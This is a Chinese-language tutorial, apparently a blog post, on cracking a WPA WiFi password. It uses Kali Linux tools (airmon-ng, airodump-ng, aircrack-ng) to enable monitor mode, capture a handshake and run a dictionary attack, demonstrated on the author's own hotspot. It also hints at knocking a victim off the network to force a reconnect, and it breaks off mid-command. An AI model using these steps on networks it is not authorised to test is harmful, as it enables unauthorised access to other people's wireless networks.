一、准备:
1.Kali Linux操作系统
2.支持监听功能的网卡
3.密码字典
二、连接有监听功能的网卡,并激活网卡的监听功能
执行ifconfig命令会多一个wlan0出来,这个就是我们的网卡
这里我们用root权限用airmon-ng命令来测试一下我们的网卡是否支持监听功能(无线网卡wlan0出现表示支持,没出现就是不支持)
airmon-ng
然后我们就用airmon-ng start wlan0命令激活无线网卡,开启网卡的监听模式。
airmon-ng start wlan0
用ifconfig再测试一下,验证是否成功激活
这里wlan0变成了wlan0mon表示激活成功
三、扫描可用的WiFi信号
使用airodump-ng wlan0mon命令来对附近的WiFi信号进行扫描,我这边用自己的手机热点为案例,出现目标信号就按ctrl+c中断扫描
airodump-ng wlan0mon
可以看到我们的目标已经被扫描出来了,而且所在的信道是6
接着用命令airodump-ng -c 6 -w /home/yin/桌面/wifi wlan0mon来探测无线网络,抓取无线数据包
airodump-ng -c 6 -w /home/yin/桌面/wifi wlan0mon
其中
-c 6就是设置目标AP的工作信道,也就是CH对应的数字
-w后面的就是自己定义的信息存储路径,最后再写wlan0mon
wlan0mon:已经开启监听的网卡名。
当下图中的WPA handshake信息出现时就表示握手成功,不成功是一直都没有的,如果一直不成功可以想办法断掉他的网络让他重新连接,这里就不写了,出现以后就可以断掉了,而且会在指定的目录中出现.cap文件,这个文件就是我们要用字典表破解的文件
四、对抓到的包进行破解
用命令aircrack-ng -w 密码字典的路径 捕获的.cap文件
aircrack-ng -w 密码字典的路径 捕获的.cap文件
密码字典可以自己搜索,这里演示的话我就自定义了一个1.txt文件,我的热点密码就是12345678
输入命令aircrack-ng -w 密码字典的路径 捕获的.cap文件
aircrack-ng -w